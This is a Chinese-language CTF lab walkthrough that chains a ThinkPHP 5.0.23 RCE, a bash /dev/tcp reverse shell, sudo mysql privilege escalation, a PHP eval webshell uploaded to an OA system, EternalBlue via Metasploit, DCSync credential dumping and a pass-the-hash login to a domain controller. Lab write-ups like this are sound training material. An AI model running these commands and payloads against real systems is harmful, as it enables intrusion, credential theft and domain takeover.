准备
目标靶机ip为:39.101.163.148
flag1
对目标靶机进行端口扫描,我这里采用kali的masscan对ip进行全端口扫描。
1 | masscan -p 0-65535 39.101.163.148 --rate=1000 |
这玩意扫太快了,好像不怎么准,老老实实用nmap或者其他工具吧。
访问web端口,很明显的ThinkPHP的标志。
进行目录扫描,好像没什么东西。
找不到版本号,尝试用fscan进行扫描,或者直接用ThinkPHP工具尝试梭哈。
扫描到tp 5.0.23 rce的漏洞。
直接用工具去getshell,蚁剑连接即可。也可以手动去拿payload去打。
蚁剑成功连接。尝试反弹shell。
1 | bash -c 'exec bash -i &>/dev/tcp/ip/7777 <&1' |
尝试提权,先试试suid。
1 | sudo -l |
可以看到这里的mysql可以sudo无密码使用,我们上网站查看利用手法。
https://gtfobins.github.io/gtfobins/mysql/
1 | sudo mysql -e '\! /bin/bash' |
成功提权,记得前面是开过ssh端口,我们可以尝试把root密码进行修改,然后ssh进行连接。使用 passwd root进行修改。
然后尝试ssh连接。
好像有公私钥,我们还是直接用吧。
在/root/flag目录下面有一个flag01.txt,我们可以读到。
第一段flag为:
1 | flag{60b53231- |
flag2
先搭建隧道,我直接用stowaway。
vps:
1 | ./admin -l 8888 -s 123 |
靶机:
1 | ./agent -c ip:8888 -s 123 |
选择节点,配置socks5
1 | use 0 |
接着配置kali和网页的代理为vps+port就行了。
我们再来查看一下所处网段。
ip a 或者 ifconfig
我们先尝试挂完代理访问内网的ip。
能访问代表成功挂上。我们再进行内网信息收集,先上个fscan,用蚁剑就行。
1 | ./fscan -h 172.22.1.0/24(-np)>> 1.txt |
跳过存活探测(-np):-np
参数用于跳过对目标主机的存活探测,即不进行 ICMP 或 TCP 连接尝试来判断主机是否在线。这可以减少扫描过程中的网络流量和潜在的检测风险
这个没有回显,我们保存到文件查看。
1.txt
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.21 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.15 is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:3306 open
172.22.1.18:445 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.18:139 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.15:22 open
172.22.1.18:135 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.15:10001 open
172.22.1.2:88 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 15/15
[*] 扫描结束,耗时: 11.07034237s
直接ai分析吧,懒得看了。
有四个存活主机,这里15是我们已经拿下了的主机,然后在18上面有一个办公系统,2为DC域控,21存在永恒之蓝漏洞,看样子是域成员。
然后ai分析的NetBios信息如下。
我们先尝试打办公系统(172.22.1.18),再从另一台的永恒之蓝(172.22.1.21)入手。
访问之后可以看到对应的版本号2.2.8。
弱口令 admin:admin123,在poc库里面可以找到一个任意文件上传漏洞。
在里面直接给出了python的poc脚本。
我们首先需要在poc.py同级目录下面创建一个1.php文件,上马就行。
1 | phpinfo();eval($_POST[1]); |
1 | # 1.php为webshell |
这里运行python脚本的时候可以挂上proxifier。
然后就可以直接python脚本去打了,本身是达不到内网的,这样相当于挂上了代理。同时后面蚁剑也就不用配置一遍代理了。
然后上蚁剑连接即可。然后我们可以在C:/Users/Administrator/flag里面找到flag02.txt文件。
得到第二段flag为:
1 | 2ce3-4813-87d4- |
拼接:
1 | flag{60b53231-2ce3-4813-87d4- |
flag3
然后这个flag文件里面是有提示的,叫我们去攻击DC。这台根据前面ai分析版本较新可能不好拿到更高权限,所以我们直接用永恒之蓝那台。上kali。
1 | msfconsole |
我们选择第一个就行了,use 0。
我们还需要修改payload。
1 | set payload windows/x64/meterpreter/bind_tcp_uuid |
去正向连接。但是我这么设置好像不行?用proxychains4 msfconsole就行了。
成功攻击。这里我们利用永恒之蓝打完后就是system权限了。
前面我们已经收集到了域的一些信息。
所在域为:xiaorang.lab
收集域内用户hash。
1 | kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv |
可以拿到administrator的hash。
1 | 10cf89a850fb1cdbe6bb432b859164c8 |
再用crackmapexec打PTH拿下域控。
1 | proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" |
攻击成功,拿到最后一个flag。
1 | e8f88d0d43d6} |
总的flag为:
1 | flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6} |
参考文章
https://xz.aliyun.com/t/12115?time__1311=GqGxRDuDg7iQi%3DD%2FY2KBKefgDn0c3%3Da4D